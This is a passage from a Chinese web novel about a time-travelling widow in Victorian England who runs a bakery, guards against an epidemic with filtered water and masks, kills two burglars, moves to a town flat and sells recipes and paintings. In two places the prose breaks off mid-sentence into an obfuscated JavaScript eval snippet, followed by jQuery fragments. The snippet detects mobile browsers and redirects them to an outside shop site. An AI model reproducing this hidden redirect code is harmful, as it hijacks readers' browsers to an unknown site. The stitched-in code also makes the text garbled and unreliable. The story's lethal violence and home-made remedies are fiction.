“多做两个过滤水桶真是太明智了!”佛莉叹息着。河水里的水至今仍然浑浊,井水的情况也不好。因此苏茜放了两个过滤水装置和煤炉在教堂门房,煤也是她出,但操作是牧师助手。家里条件不好的人,只要赞美一声上帝就能得到一杯烧开的干净水。
连女仆们都与有荣焉地认为自家是在做好事。
苏茜表示:不想看到水灾后出现各种让人头疼的传染性疾病。
……
一周后,水源恢复了洁净,教堂里的过滤水装置虽然被收回,但过滤的原理成了热门知识。尤其是伦敦的几家水务公司准备明年开始向付费的市民提供“干净”的砂滤水。
明年生效的措施不可能改变现在有大量呕吐腹泻、高热不退、皮肤溃烂等等严重健康状况和死亡病例,还有扩撒传染的趋势。于是从教堂到药店、从记者到医生,都多了不少好处。
“……不,我还是不建议喝生水,因为无法用木炭过滤掉致病的微生物,比如霍乱这种疾病,必须将水煮开后饮用才不会被传染后悲惨地死去。”尤其是人们的护理观念有够奇葩,霍乱病人无数次腹泻后不给多喝白开水还放血、服用鸦.片.酊是什么恐怖故事。苏茜声称都是从报纸上看到后进行筛选得到的结论。“负责任的医生说鸦.片.酊在止咳和镇痛方面有效,但只能在三天内使用。对腹泻、高热之类是没有作用的。但是药店里的人就不一定了,他们为了赚钱,可以说假的木乃伊粉可以治疗一切毛病。”
这个让人无语的时代,有些医生甚至还不如古代华籍游医。当然,也是从这时开始了各种现代西医理论和实践,包括药物,比如金鸡纳碱奎宁,当然人工合成则是现代的事了。她还记得上辈子的医院里想尽办法给前线医疗队送去的万颗奎宁不够用,还是有人死去、更多的人因为生病丧失战斗力而死去……不想了,现在还没有奎宁呢!更不要说阿司匹林,还有绕不开必须提一句的海!洛!因!——看名字就知道当初公司对此寄予了多高的期望,赚钱的英雄呢——这俩如雷贯耳的名字都是百年拜耳公司的“当家”产品。
想到多少医生宣传海.洛.因是新一代无毒害、不上瘾药物,苏茜就感到一阵恶寒。不行,她要去找石英砂、二氧化锰和无烟煤,这样滤出来的才安全,一些吧。
大早上的,听着外面又下起来的雨,苏茜开始认真刷牙,洗脸,抹几滴橄榄油加玫瑰水。她不是不想用甘油,而是现在售卖的甘油距离医用级别还有很远的距离,完全不知道其制作过程中混入了多少足以毁容的杂质,压根不敢往脸上抹。
另外,这个牙刷和牙粉,其过程也是满腹心酸,更不要说味道呛人、效果感人的肥皂。可惜,她的收藏品里没找到手工皂的详细制作方法,只能多抹橄榄油免得手指皮肤完蛋。顺便说一句,拿着刀砍罐头也是件挺有意思的事,所以苏茜都是亲自上手,免得将来碰到什么需要公开武力值的场合会露馅。
“居然两点就卖光了!”新来的客人为店里大部分甜点都卖光了的事实大吃一惊。这还没到傍晚呢!她纠结着,买走了最后一个招牌奶酪坚果面包。佛莉表示好伤心,本来她以为这是自己明天的早餐来着。
“这几天突然多了很多陌生客人。”
“那我们多准备些特色甜点吧。”尤其是贵的。
说做就做,在基本卖光的时候甜点铺就挂上今日售罄的牌子,大家开始清理收拾一楼店面和垃圾,准备她们和猫的晚饭,以及第二天一早用到的食材。夏季的展示样品是不卖的,因为很可能有蚊蝇光顾过,所以再被说是浪费,苏茜都会将这些大多数人看来还能吃的食物扔进炉火里烧成炭灰再扔掉的,免得喂了老鼠和其他动物。岛上的绿肥则是每天剩下或扔掉的生鲜蔬果。
“下午好,女士们,我是来送货的。”一名看上去像是学徒工的青年从一辆普通货运马车上跳下来,很有礼貌地进来招呼。
“哦,二氧化锰原料!”苏茜反应过来,非常高兴地将人和箱子迎进来,签好收条,给了尾款和小费,外加一袋本来想当晚饭的面包。今晚就吃西红柿肉酱通心粉吧!
“这是?”二氧化锰?啥玩意?
“过滤水的材料。”她以前只买过工业化成品锰砂,根本没见过这样“原始”的材料,不过颗粒不算太大,可以用。“现在材料齐了,我们可以做出来更加安全的过滤装置,不用担心患上通过水源传染的疾病。”
但是飞沫传播的虽然死亡率低些,却更麻烦。为此,苏茜只能用12层纱布缝合后装上棉绳戴在脸上,美其名曰不要让店员的口水星子碰到食物上。
这种方式获得了顾客的一致好评。
一位一边咳嗽一边还在挑挑拣拣选购甜点的女客很愉快地说,“老板娘,你真是太贴心了。”
苏茜在客气聊天的同时,默默记下对方碰过和凑近咳嗽的食物,等她走后立刻将那几个不便宜的点心抓在一张报纸里扔进炉子,过程中自己的手也不碰到。虽然浪费了可能近两英镑,但总比生病好。
“太太?”奥内拉轻声问。那么多点心呢!怎么回事?那位第一次来的女士有什么问题吗?
“她生病了,会传染给我们和其他人的。”苏茜轻声回答。
奥内拉深吸一口气。这两年大家最怕到处跑的病人了,生怕自己也病倒甚至病亡。
接下来的一周内,镇上和周边农庄起码有三十个人发高热。又过了一周,有一位老人和一个孩子病亡了。问题是大家还要聚集起来参加葬礼。
“最好不要参加这样聚焦的活动。谁也不知道会不会传染到,镇上的医生一点办法也没有不是吗。”开的药完全没用。医生和药师都是拒绝公布自己的“秘方”,但是苏茜花了大把皮斯托尔买来的药剂和医疗方面的书籍,上面对发烧列出的各种配方起码有一半让人牙疼。倒是一些草药可能确实有效,但如果不对症搞不好还会加重。这种病毒性呼吸道感染,如果一开始只吃保暖驱寒的药剂,那就是找死了。但愿医生和药剂师从“长期实践”中得到了一些经验吧。
不过,凭借不是那么专业的眼光和一堆后世专业书,苏茜从这个时代的药剂原料和草药里挑选了几种,亲自去购买回来蒸馏和挑配了一款提升免疫力的保健品和一种辅助减缓发热跟咳嗽的药剂。
这味道——佛莉皱了皱鼻子,一口焖了。大家都怕病,更怕死。
“不是说喝了这个不生病,而是降低生病的可能。所以出门戴口罩,每半天拿下来在开水里煮半小时。坏了就拿新的。”
她们一有空就做新口罩,煮口罩消毒,尤其是客人们喝过的杯子每次都要煮过才拿出来用,因此有个小炉子一直在烧火,房子在湿冷的初冬里显得温暖干燥。
“你们这里真舒服。”可偏偏生病的人还爱跑出门跟人扎堆聊天就讨厌了。
“是的,奥内拉这几天不太舒服。我也在打喷嚏,所以得暖和些。”苏茜戴着口罩亲自出面。两位女仆的体质跟体能其实都比她差多了,只不过后者她不会刻意表现出来。
客人略少,食物却无法少,因为不少人家里的厨师女仆包括主人都病倒了,得买现成的食物。对了,镇上有一家餐厅也歇业,因为只剩一个厨师助手完好,其他人都有些病症。
苏茜还新上架了几款可以当饭吃的三明治、咸口面包和蔬果馅饼之类,同时茶叶的销量也增加了,毕竟开水一加就行,比咖啡方便料理。
等这一波感染过去已经是冬天了,全镇前后过世了十几人,其中半数是五十岁以上的长者。苏茜还参加了其中两场葬礼,从头到尾戴着厚实而不是展露风情的灰黑面纱。
圣诞前,大家过来买圣诞苏茜推出的甜点。
然后有不少人“荣幸”地看到斑点猫逮了只老鼠弄死后炫耀给奥内拉看的景象。
“谢天谢地,现在不是认为猫带来黑死病的年代。”
“那是欧洲,文盲那么多,才那么蠢。哦,一辈子不洗澡的圣人!虫子在溃烂伤口上蠕动、到死也坚持不清洗的圣人。”
“不得不说,香水就是这样被发明出来的。”
“跳蚤,苍蝇,虱子,蚊子,都是传播疾病的途径。”苏茜补充了一句,“黑死病的时候,伦敦也因为把猫都杀死了而死了很多人。”这种故事她记得最清楚嘿嘿。
“……”
镇上新搬来了一批居民,所以居民区扩大了一点,另外周边的农庄也转手了两桩交易。
“都是伦敦来的人。而且很不
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17031231|193506||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
虔诚,都不来教堂。”
“他们也就是在泰晤士河太臭的时候逃过来。”
“逃这个词用得好。他们还嫌弃我店里的上等面粉不够高级!”
礼拜天接近中午的时候,一群镇上居民三两聊着天,却从不考虑其实那些伦敦来的、有实力卖地建房或改造庄园的人,怎么可能跟他们这些平民交往,连周边的地主们也进不了他们的小接待日。
苏茜则是回去参与准备傍晚要交付的订单。
新的大客户要办小规模宴会,厨师厨娘不够,餐厅水平不高,至少一部分主食和甜点就外包给她了。
这可是大订单。她还要派佛莉去跟现场到明天凌晨,这样就会导致明天开店时需要她和奥内拉一起努力工作,而不是累死佛莉。
不过,为了六英镑——佛莉能有二克朗劳务费,奥内拉可以得到二先令加班费——她可以!
“真不知道这种上档次的宴会是什么样子的。”奥内拉在蜡烛和煤油灯下有些兴奋地道。
今天阴天,六点仍然很暗,需要额外照明。她们两个人要做三个人的活,就得早起干活。而佛莉四点多才艰难地步行回来,正在沉睡。
“大概要么是谈生意,要么是炫耀吧。”因为对方临时还要佛莉带了不少费时费力费钱的食材过去,因此她还带回来三十先令货款。两位女仆照样有提成奖金。而苏茜这半天半夜的净利润可以买店里用一周的糖。
“听起来……”真有够无聊的。
“反正我们不参加。”
奥内拉差点翻白眼,雇主不参加,她们就连做服务生都不一定能进去。
中间除了吃喝点东西,两个人一直干到开店。
等佛莉起床吃了早午饭后,她和苏茜又做了一波点心和面包。
“今天没见过的客人真多。会不会是昨天聚会的那些客人?”因为来的好几位都是女仆或女管家打扮,买的份量也不是一两个人吃,而像是好些人的下午茶甜点,甚至还有高级仆人们的宵夜。
“可能。”
等今天关门已经是五点了。要不是苏茜之前抽空去炖了蔬菜羊腿,三个人大概又得靠三明治打发一餐。
真是累死了。
随便弄了明天要用到的材料,三个人都躺上了床。
夜里,苏茜突然被一个轻微的警报声惊醒,边跳下床边迅速摸出枕头下的短刀和钢绳,顺手披上她自己做的羊毛皮一体猎装式样短上衣。警报小机关是她放在二楼起居室窗上的,上辈子港城订制,现在拿出来声音小了、灵敏度差了,但机械性能还可以。她的卧室没窗,她是将卧室道起居室间的门上留了个门洞作为通风取暖口。这个门也是加固的,非得斧子猛砍才行。
她将门上的铁闩移开,等着。
很快这扇门上传来动静,有人悄悄打开门,探头,结果脖子上被一个细细的东西狠狠勒住,挣扎了十几秒就断气了。
苏茜又一路移动到窗边。沿途没有血迹和痕迹,很好。
窗外,没有月光,但是她直觉还有放风的。
但显然,她搞错了,因为另一个人也爬了进来。
中间只隔了几分钟?虽然奇怪,但她立刻送这个人去见了撒旦。
窗外应该没有人。但她耐心却暴躁地等了一个小时才去处理垃圾。
两个都不认识,三十不到、中等个头的男性,带了匕.首、刀片、绳子,还有本地特色的“□□”,大布口袋。绳子居然有好几根,口袋足以装人。苏茜估计他们除了盗窃还想做别的比如绑架之类。
不论是此时本地的还是她受影响最深的美丽坚农场主时代,这种非法闯入被地主开木仓打死是应有之义,更不要说修士时代的闯入者被拿来炼尸都是活该。
就是没有战利品。即使有战利品也是别人被盗走的财物。又给她的大海增加了一点有机和无机垃圾之后,苏茜重新上报警装置,关门。睡觉。
镇上乡绅兼治安官提醒大家要注意看紧家里的小孩,因为前段时间有两个不到九岁的孩子丢了,还都是家境不错的家庭。苏茜不知道那俩入室被团灭的是不是也和人贩子有关,反正没人找她问情况就行。
这地方与其指望警察,还不如街上吼一声找大家一起来打坏人有用。
另外,交通工具和中转地点、中下游人手之类有没有?
第三天,有人发现一匹无主的到处啃别家菜园子的马,还有一辆马拉小货车、空箱子之类,就是没有人。要不是因为怕担上盗窃的罪名被绞死,被马啃了的园主很想将马和车占为己有。
最后治安官出面将马和车“暂存”在他家,顺便赔偿了菜园主人一个银币的损失。
苏茜当然是赞同该项决定的。之后两个月,本地也没有拐卖儿童的事,估计那两人是单独来此地行动的。
其实有同伙也无所谓,她只希望有战利品。就跟上辈子解决了起码三个窃贼、两拨敲诈的人,她弄到了好几柄冷热武.器和两条大金链子——对了,合计换成两百多法郎,当成收藏了。
……
镇子这一带相比伦敦空气清新、水质优良,食物供应虽然品种少、但质量好,掺假兑水的情况好得多。只有冬季稍冷一些。
新年过后的礼拜天,突然下了一场小雪,差点导致交通运输问题。反正不少人在去教堂途中摔跤,还有骨折的。最严重的是一位快七十的女士,摔跤后没几天就过世了。
苏茜对雪后的路况非常了解,当然一点问题也没有。不过——
“……老人摔跤确实很危险。所以你平时一定多吃乳制品,每天坚持散步,哪怕在房子里走也好,不要吃肥肉,不要情绪太激动。上帝保佑你,一定会活到八十岁的。”苏茜对一位已经七十五岁,平时与人为善还能善待动物的老太太道。对方也是她的常客,并且按照她的建议吃完甜点就用浓茶水漱口。搞到最后,老太太家里以及周围不少人都到她这里买茶叶。
不过她确实没听到有人因为龋齿而亡,也极少有人牙痛得不行最后被拔掉的。这个年代的拔牙,感染发烧概率应该有一半,死亡概率也不会太低。还有,她的牙齿也维持在一个还算是健康的水平,对得起远超后世电动牙刷、水牙线、漱口水和牙膏的口腔卫生成本。另外,去年她才搞定原材料问题,自己蒸馏得到的植物纯露混合后成为天然漱口水,光这“古老”的装置成本就超过几十箱漱口水,搞得她都打算卖漱口水回本了。
另外一个颇为无奈的成本就是过滤水,滤材的消耗堪比用依云做饮用和烹饪用水。要不是两位能干女仆的基本工资没有比滤材高多少,她还真的想干脆将房产卖了去城里租间不需要房东提供食物的公寓,每天待在岛上生活。
说实话,平时有人按她的指点做饭、做售卖的食品,雇人隔几天来清洁和洗衣——因为没有洗衣粉消毒液洗衣机的关系,她自己洗并不会比别人洗来得干净——这日子还算是不错的。
24.国王亦凡人(五)
“祝你们幸福。”为苏茜工作四年后,佛莉步了奥内拉的后尘,辞职结婚了。她原以为自己不孕,因此不再考虑结婚,没想到居然与男友有了孩子。
“谢谢你,太太。”佛莉尤其感激这位雇主。不仅给她几年的平静生活和优渥薪资,还送了两块颜色好看的体面毛呢料子和一个金币作为结婚礼物,与奥内拉的待遇相同。
真可惜,丈夫在伦敦有份不错的工作,她无法再为太太工作了。
甜点店在奥内拉结婚的时候就关门了。
“……太累了,每天六点不到就要起床,中间很少有休息的时间,下午开始又要准备第二天的材料,要工作到晚上八点。主要是很多事情需要我自己来调配,尤其是口味上,很多凭感觉的东西很难用食谱定量来描述。”苏茜出教堂的时候跟一群问她是不是要重新招店员太太们道。
其实大家是想问她什么时候重新开张。
却等来了她将房子连家具尤其是厨房及其用品全部打包卖给面包坊老板的消息。
“除了毯子、衣服和书,还有我自己用的餐具和中国绿茶,其他的茶叶、咖啡、食材,家具摆设,过滤水桶,我都不带走。”四百五十镑的转让价格里,其实有八十磅是她留下的完整食谱和剩下的大量进口茶叶以及进货渠道,甚至过滤水和滤材的购买渠道。面粉之类的食材面包坊压根不缺。
律师费和印花税都是买家付的。
苏茜又不是看不懂文件里的关窍,去掉两条不利于自己的条款、让步三十英镑,其他按买家的意思来。
最后她拿了四百二十英镑的汇票,坐着麦克驾的车走人。送她到城里,之前住过的那间旅馆。
“住一周。”
“好的,罗西诺太太。”
店员已经换人了,她也没有与老板娘招呼,也没提出额外的要求。
事实上,她只是来办个手续。
城里其实也就是个大镇,繁华程度和房价比伦敦差了一大截。她兑现了卖房汇票后,只花了一百八十镑就买下了警察局不远处的三层无阁楼无地下室联排公寓中的一个单元。说是三层楼,一楼只有一个门没有窗,过道、楼梯、储藏间和一间老式厨房,二楼是一个起居室和一间不大的卧室,三楼则是两间卧室没有起居室。没有壁纸,呃,同样是免交壁纸税。卧室都有一米五到一米六的床和不一样的柜子,起居室的桌椅居然挺好,唯一的壁炉也是清洁过的,厨房的炉子烟囱也是完好的。
最重要的是没有厕所!后街有个倾倒马桶,不,便桶的地方。但很多人家还是会“遵循传统”,从窗户直接倒下去……所以这个单元靠后街的二楼窗干脆是封掉的,省税又避免异味。但三楼前后两扇窗都是完好的,与周围一样的拱形带玻璃窗户。
不考虑实用性的话,外观和内里还是不错的。
“面积小了点,适合人口不多的家庭。女仆只能住杂物间,或者雇佣兼职女仆也是个好选择。”
中介跟苏茜介绍这第二套房子的时候,她就决定买了。无他,距离警察局近。
“那么麻烦你给我介绍一个清洁女仆吧,每周来两次,时间可以灵活,负责清理一楼和二楼包括炉子和烟囱在内,可以带孩子做帮手。”她给的是兼职女仆中的高价,但是允许小帮手的意思就是活儿不轻。
“好的,太太。”中介还是很高兴的,来求他找工作的女仆不少,其中带着半大孩子的起码有三个。这位寡妇经济实力一般,连仆人也雇不起,居然还要自己做饭,但也没有贫困到只能租住一间屋子的地步。
而办手续的同时,苏茜在到处找食品供货商。要找个不惨假的商人是需要人脉的,于是她给了常去的餐厅的厨师助手两个银币,得到了一个比较靠谱的名单。除了需要购买的量略大人家才卖,其他没有不好的。
虽然没有冰箱,大部分时候肉类浸过盐水或生煸过的话放两天没问题,寒冬时节能更久一点。所以她只需要两天出一次门采购生鲜食品,而面粉之类可以存放的东西当然是整袋的买。
至于餐具,她有很多、很多存货。除了已经成了垃圾当绿肥的竹木制品外,成套和不成套的贵金属和瓷器餐具可以再用十几辈子不需要买新的——就是没有可以说明出处的古董。
哦,菜刀和调理碗板之类是需要买新的。
在花大价钱找人在一楼安装抽水马桶后,苏茜去采购亚麻床单、毯子、棉布被套等等。无拉链被套这种东西布料店没见过,不过在她描述之后很快就做出来了,同时收到苏茜支付的一先令一条的加工费。现在的棉纺织品价格还算便宜吧?苏茜突然想起来南北战争打起来后不再出口棉花而导致曼彻斯特纺织工厂停产、工人失业,后来才有了埃及棉。
就跟前几年海外发行的公债反过来让工厂大量关停,今年好像才缓过来。可惜,本地的“砖家”们找了一堆奇奇怪怪的理由,包括留着长辫子的华籍劳工,就是没人认为这是市场、供应、贪欲和乱作为的政.府都出了问题导致的经济危机——跟老家的辫子、小脚和大烟比起来,这里堪称天堂。
起码,不提有时会倒灌上来的气味,抽水马桶的质量还是不错的,一点不漏水。
此外,城市里的空气和水源显然不行,但有一点异味的“自来水”和镇子上买不到的商品比如经期用品等等很丰富,食材供应则多了若干倍,不需要为了半磅材料不得不去批发五磅。
连制作漱口水的精油乃至工业酒精都有现货!可惜她不会做固体酒精凝胶。
但在看见有新款“香皂”的时候,苏茜毫不犹豫地买了。这个年纪脸上依然长痘,说明不是青春期痤疮,而是身体加上一点皮肤的问题,因此清洁和护理是必需。
可这个年代的护肤品都是“秘方”自制,起码一半的产品有害,更不要说致命致残化妆品一抓一大把——可也总比绝望的中世纪好。想起来有一回自己就在黑暗年代“觉醒”,而且已经染病……虽然那几天根本没有计入她的“人生”,比战场更恐怖的环境让她永远不会忘记。
摇摇头,拎着东西冲回家。
下雨了,及时带着伞也免不了裙子被打湿。而这种天气里所有的出租马车都不空——是要“走”快点。
一阵风带过,让其他撑伞和没有撑伞的路人目瞪口呆。
“刚才,是过去了一个人吧?”而且是女人,腰不太细的样子。
“是,难道这么胖还能跑那么快。”他的同伴懒得多提。
“很胖?”胖子速度能那么快?!
“腰很粗。”
“哦。平民吧。”也许是个没钱好好束腰的平民,那伞绝对是便宜货。
“哼!”
一旁经过的两个“平民”对视一眼。这俩家伙看上去有点钱,但不是多有势力的样子。偷了不容易被抓。
【跟上?】
【废话!】
……
苏茜并不知道自己成了一场入室窃案的引子。
回到家,兼职女仆带着不到十二周岁的大女儿已经提前到了,正在门廊下躲雨。
“抱歉,玛丽,抱歉,梅丽尔,我耽搁了一点时间。”
“没关系,罗西诺太太,是我早到了。”
二十八九岁、和母亲一起要养活三个孩子的女仆正是需要工资的时候。
苏茜将一楼二楼的打扫交给玛丽,还让梅丽尔小姑娘一起帮忙烧炉子,然后用香皂洗手后准备晚餐食材,包括用自制发酵液准备面包胚。烧木头留下的碳灰她都是回收到岛上改善土壤的,虽然玛丽对此感到奇怪,但不会说什么。就像雇主让她不需要上三楼,她和女儿就只清洁到三楼楼梯口——当然她们是进不去的,因为门都锁着,必须大力劈开的那种。
“玛丽,梅丽尔有别的工作吗?”
“不,只有一些我可以带上的零工。”她不乐意女儿当妓.女,但周围人都鼓动她早点让大女儿出去“做生意”,甚至已经有不怀好意的家伙盯上小姑娘。所以她都不敢让大女儿一个人出门。
“她如果乐意的话,可以在这里当杂役女仆,住在一楼的那间小房间。管吃,每个季度做一身衣服,每周薪水三先令,直到十七岁。你仍然负责每周两次的清洁,顺便看看女儿。”梅丽尔的这个年纪在城市里极其危险,而小姑娘看上去并不想去做皮.肉生意。不管是善心还是找人跑腿打杂,反正苏茜觉得这应该是个好主意,尤其是每次来工作,两个女子明显是清理过自己的。
“感谢您的善心,女士!上帝保佑您!”玛丽高兴地差点跪下。
“非常感谢你的慷慨,我会努力工作的!”梅丽尔大眼睛扑闪着。这是个好看的女孩,还没有如她的母亲那样被生活折磨得衰老。
“我也确实需要有人帮我做杂事。”苏茜直接给了十先令,让母女将杂物间收拾出来就回去打包行李,添置衣服。“我不太会做衣服,你拿十先令去买新衣服、新鞋子和新床单,下周一这个时间来报道工作。其他的我这里都有。”她手头还有不少可以给女仆的半旧外套、帽子、毯子、手袋、腰带等等。另外,杂物间一堆东西底下居然有张一米宽但颇为结实的木床架,省了不少力气。
“好的!太太,我会买好的让梅丽尔带来。”十先令不少了!在她们家都可以做全家的衣服了。但玛丽很清楚雇主的意思,就是十先令都花掉。可以省下几个便士的路费针线费,但不要买太差劲的衣服丢雇主的脸。还有床单,明显就是要新的,绝对没有虫蚤的那种。
苏茜点头。跟有经验阅历、三观比较正的女仆才好沟通,这也是之前在镇子上她直接放弃招新人重新开店的原因之一。
转头,她去街对面的铺子买了女管家级别的寝具、餐具之类,还订了一批木头和木炭。清爽的夏季上个月就结束,湿冷的深秋快到了。
* * *
“太太?”梅丽尔第一次上三楼。
“进来。”苏茜招手。“作业带来了吗?”
“带来了。”梅丽尔差点表情扭曲。见过要女仆做作业的雇主吗?她家的就是!从识字、算术开始,还有作业!她现在都能看懂花体字了,就是写还差一点。
三楼是两间差不多的房间,梅丽尔不知道女主人住哪间更多,但对方两间都住是事实。
现在苏茜坐在有软垫的扶手高背椅上,穿着羊毛室内鞋,披着羊绒披肩,身前是高脚炭盆,手边是一壶热茶,手中放下的是一本书,但书名梅丽尔不认识,因为是外语。
“需要热水吗?”
“不用。”苏茜看完作业,全对。礼拜日教会学校学了一年的学生的水平。倒是算数还不错,二百以内的加减法居然全对,特别是货币方面的。“把这几册书看完,再抄一遍。不用急着看完,天气越来越不好,点灯看书对眼睛不好。”一盏煤油灯是彻夜亮着的,为两个人晚上用一楼的马桶和厨房提供照明,但光线也就是不会撞头。
“好的,太太。”梅丽尔去二楼卧室改的晾衣烘被间看书抄书去了。房间里原来结实的红木床则早就被苏茜收到岛上去了,三楼的反而是普通木架床——反正她睡的时候不多,尤其是城市的夏夜和冬夜,一个热一个冷,真是够呛。现在这样的天气,她都是拿了木头回岛上烧,盖一床厚毯子就行。至于这时贵死人的羽绒被和厚薄不均的羽毛被,她就不浪费钱了。倒是毯子,是真羊毛,纯得一丝化纤也没有,她都不舍得直接盖,而是用上不比毯子便宜多少的被套。
苏茜用“昂贵”被套的生活习惯现在梅丽尔也很适应了,因为被套确实比毛毯容易清洁,就是洗衣费用不菲,这种冬天,主人让一直烧火热水,洗衣也是加了热水不至于手生冻疮的,只是一年五块大块肥皂、四块“昂贵”香皂和两大瓶“贵重”精油,以及她工资的成本远超找洗衣女工来洗。可,如果找了洗衣女工,梅丽尔的工作就不那么稳当了。光是一个生炉子摘菜的活计只需要跟母亲一样的兼职女仆就行了,每天最多两小时,对她家的生活没有太大帮助。
另外就是定期在洗衣物、毛巾和被套等纺织品的水里放一种味道诡异,需要戴着自制纱布口罩的液体。还要在室内窗边“晒”衣服。呃,有阳光来晒吗?
苏茜表示:有没有阳光并不重要,有点紫外线就行。没有紫外线只加点自制消毒液也成。苯酚和纯露加到水里,非常糟糕但无可奈何的方法,而且不能经常用。谁让滴露衣物消毒大概要近百年后才出现呢!
她平时不社交,只有搬来时送了邻居买来的甜点,之后除了采买就不再对外,二楼起居室基本就用作教学小课堂和她一个人用餐的地方。邻居们也都不是多热衷社交的正常家庭。
这排房子因为面积狭小、实用功能不高的关系,大部分是大学生或单身汉合租,另外有开店夫妻只回来睡个觉,私奔情侣租住等着继承财产,做情妇的带着孩子不出门,还有个说不太清楚的培训班。总之,没有交往的必要。
晚餐是苏茜跟梅丽尔一起做的,两人吃的差不多,只是苏茜多一杯清茶。
一年的良好饮食睡眠下来,梅丽尔长高了近三英寸,不再是瘦小的可怜样,衣服鞋子也买了好几身新的——苏茜给现金让她自己去买成衣或是做衣服——看上去就像是体面人家的贴身小女仆,尤其是她会读写算术做菜,整个人气质变化很大,连她的外祖母都快不认识她了。
“太太,杂志上登出来了。”
梅丽尔开邮箱后拿到一个大邮包,里面有两本样刊和一张十二镑的汇票。
十二镑这个堪称高额报酬的数字,主要归功于她的版画作已经允许报社拿了她的食谱和成品版画作为出版物的插图。
此时的印刷术跟一百年后不是一回事,所以苏茜放弃了油画,而是用版画的形式,显然效果不错。不得不否认,她是在处理法国收集的那些恶心小册子时得到的灵感:将黑白图画效果好的甜品、菜品画下来,然后配上食谱。
第一篇“成功”后,杂志跟她签了长约,同样尺寸、质量和字数给予这个价格。
每幅画算上构思、实践和文字等的时间,不赶工的话需要一个月的时间。加上返工修改之类,去掉画的成本,一年大概能净挣六十多镑,加上一点“年金”。
想起来著名女作家奥斯汀一生赚到的版税都不到笔下班纳特家一年的收入,苏茜觉得自己还行吧。
“圣诞快乐!”
“圣诞快乐!”
街上过节过新年的气氛不错。
苏茜亲手做了低糖低脂柴火蛋糕和
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17035982|193506||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
坚果蔬菜烤鹅。梅丽尔做了浓汤和配菜,压根没有做主食。即使去掉皮和肥肉,一只鹅也让她们吃了两顿才吃完。苏茜还送了梅丽尔一双从二楼到室外都能穿的绒鞋作为圣诞礼物。
圣诞前的一期女性家庭杂志就是以她的柴火蛋糕和好几道适合圣诞大餐的画作为封面。听说下半年出版一本食谱会将她签约投稿所有的版画都聚集起来——她本人除了样书,是不会有额外版税收入的。
苏茜毫不在意地左右手轮流刻画,一边画一副静物油画。
油画是一种烧时间烧金钱的创作。梅丽尔眼看着雇主在一大张白纸上用铅笔勾勒线条,然后开始在画布上从构图开始一点点加入光线颜色。
难得的阳光从窄小的玻璃窗外照进小小的书房。窗边的书桌上放着笔和墨水瓶,以及几张摊开的白纸和一本夹着书签的书,其中一张纸上整整齐齐地是半段小说文字,只是仔细看的话只有两句对话。茶壶嘴似乎还冒着热气,杯垫上的杯子放得有些歪。桌边的书架上起码有三种语言的书籍,椅子看上去并不昂贵,但是椅上的绣花坐垫明显手工非常精致。椅背上还搭着一条看上去很温暖的披肩,而观众对面的墙上则是一幅女仆趴在有花瓶的桌上打瞌睡的画作。另外还有不少别致的木雕小装饰品,充满了异国风情。
整幅画陆陆续续画了大半年时间,也不卖,就是放在起居室里。梅丽尔经常驻足看一会儿才走开。极少的访客也会驻足看一会儿。
一年后,这幅画扣掉所得税、颜料费和中介费之后以一百多镑的价格卖掉了。
“太太,那幅画的价值远远高于一百镑!”梅丽尔快成年了,身高已经跟苏茜差不多,身材看上去壮实有力得多——掰手腕和跑步的话肯定是苏茜赢。
“反正那幅画我自己不是很满意。拿去卖了换颜料还是值得的。”她才不会去买昂贵的颜色,便宜的统统来一份!然后将白纸剪成比较小的块,用铅笔画出不同的春夏花草树木图案,排列组合成一个花园。但落到画布上时,中心多了一位美貌的丹凤眼东方贵妇,服饰发型偏唐代,但没有奇怪的眉形和大圆脸小眼睛,而更接近法兰西美人的脸型。缀满宝石的印度风项链,三支各不相同却成套的手镯,高耸发髻上九只不同花型的金钗,还有身上织着牡丹、云纹、翟羽的华丽丝绸。
其实画得不是很好,细节不仅粗糙还有很多错误,但胜在超出观众想象的东方华丽风情,完全符合痴迷东方的女画家人设。
这一幅净赚两百多镑,也就是美术专业优秀毕业生在校时的作品售价作品——还不是毕业后的价格,但可能比过于普通的学生作品强些。
而食谱书在几经折腾后才姗姗来迟地出版。
卖得还行。但与苏茜没有半点关系,因为版画都已经买断了。
杂志上,甜点仍然在被介绍的过程中。她还有几十种没写呢,但与杂志的合约到期了,对方找到了新的、更便宜、更会添加一堆情绪废料的作者;而她干脆扔下麻烦费手的版画,转到油画上。也就是两年卖一幅的节奏,价格始终没有高于三百镑,可见这个世界对没有名气的女画家有多不友好。
好在苏茜卖画只是为了找个有档次的事情做,用来解释自己的收入来源。女作家做不了,女画家还是可以凑合的,总比这个时代的女护士或者说助产士强——名声可能都不如老家古代稳婆。要知道南丁格尔这个时候大概正在普鲁士还是哪里学习护理知识?至于女教师,仅有极少数贵族女校里的教师比较体面,大部分家庭女教师除非出身阅历不一般,不然其地位也就比女仆高一点。
可居然有白痴来找一位女画家去当法语教师兼女伴,这真的有些搞笑了。
“……这种伴随的说法往往不是很好的意思。”苏茜补充了一句,“所以我个人建议尽量不要在法籍正经淑女面前用这个词,哪怕确实是考虑做情妇。”
“……啊,我对法语不那么了解。”有些懵圈的邻居太太——如果确实有结婚文件的话——被苏茜的说法震得头晕。虽然其实她大概知道确实是那个意思,但也不能放在明面上说是不。
